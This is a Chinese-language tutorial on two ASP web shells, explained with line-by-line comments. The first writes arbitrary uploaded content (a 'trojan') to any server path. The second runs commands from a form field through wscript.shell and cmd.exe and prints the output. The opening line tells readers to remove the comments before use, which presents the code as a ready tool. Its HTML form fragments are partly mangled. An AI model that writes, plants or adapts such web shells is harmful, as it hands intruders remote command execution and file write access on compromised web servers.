去掉注释后再用!
<% dim tiancai '设定一个变量tiancai%>
<% dim tiancai2 '设定第二个变量tiancai2 %>
<% dim tiancai3 '设定第三个变量tiancai3 %>
<% on error resume next '出错了就执行下一句%>
<% Set tiancai = Server.CreateObject("Scripting.FileSystemObject") '设定tiancai为fso变量%>
<% if Trim(request("Hell"))<>"" then '用Trim去掉两端的空格后执行下一句%>
<% tiancai2 = request("Hell1") '读取hell1的内容并赋值给tiancai2%>
<% Set tiancai3=tiancai.CreateTextFile(request("Hell"),True) '设定tiancai3为一个textstream对象变量%>
<% tiancai3.Write tiancai2 '把tiancai3的内容写进tiancai2中所记载的路径内%>
<% if err =0 then '如果没有出错那么执行下一句 %> 
<% response.write "存完了先" '用Response输出红色的存完了先 %>
<% else %>
<% response.write "没存呢先" 'else,就是其他,用response输出红色的没存呢先%>
<% end if %>
<% err.clear %>
<% end if %>
<% tiancai3.Close %>
<% '关闭tiancai3的调用 %>
<% Set tiancai3=Nothing'释放tiancai3 %>
<% Set tiancai = Nothing'释放tiancai %>
<% '以下就是用Response输出的html代码,关于html我想用不到我解释..%>
<% Response.write "" %>post方式提交的一个表单 
<% Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):" %>以红色字体显示保存文件的后面的几个字
<% Response.Write "" %>建立一个文本框名字叫hell
<% Response.Write "
" %>传说中的换行符
<% Response.write "本文件绝对路径" %>输出"本文件绝对路径"这几个字
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>利用Request以Script_name获取环境变量
<% Response.write "
" %>传说中的第二个换行符
<% Response.write "输入马的内容:" %>输出字！
<% Response.write "" %>一个多行文本框，名字是hell1
<% Response.write "" %>建立一个按钮，方式是提交，value名称是保存
<% Response.write "" %>/from结束表单


免FSO的CMD 
 
  定义个文本框，名字叫cmd，用来输入命令
 定义个按钮，动作是提交，value的值为run
 建立一个多行文本框用来显示回显，长度、行数为80,20
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request.form("cmd")).stdout.readall%> 
用response写入ActiveX组建名称为"wscript.shell"，也就是调用wscript.shell执行cmd命令，exec是回显的意思，然后用request从cmd那个文本框里读取命令，用cmd.exe /c 命令的方式执行，回显的是标准输出，readall就是查看所有回显 readonly cols=80 rows=20> type=text > type=submit value=保存> name=hell1 cols=80 rows=10 width=32> type=text > action='' method=post>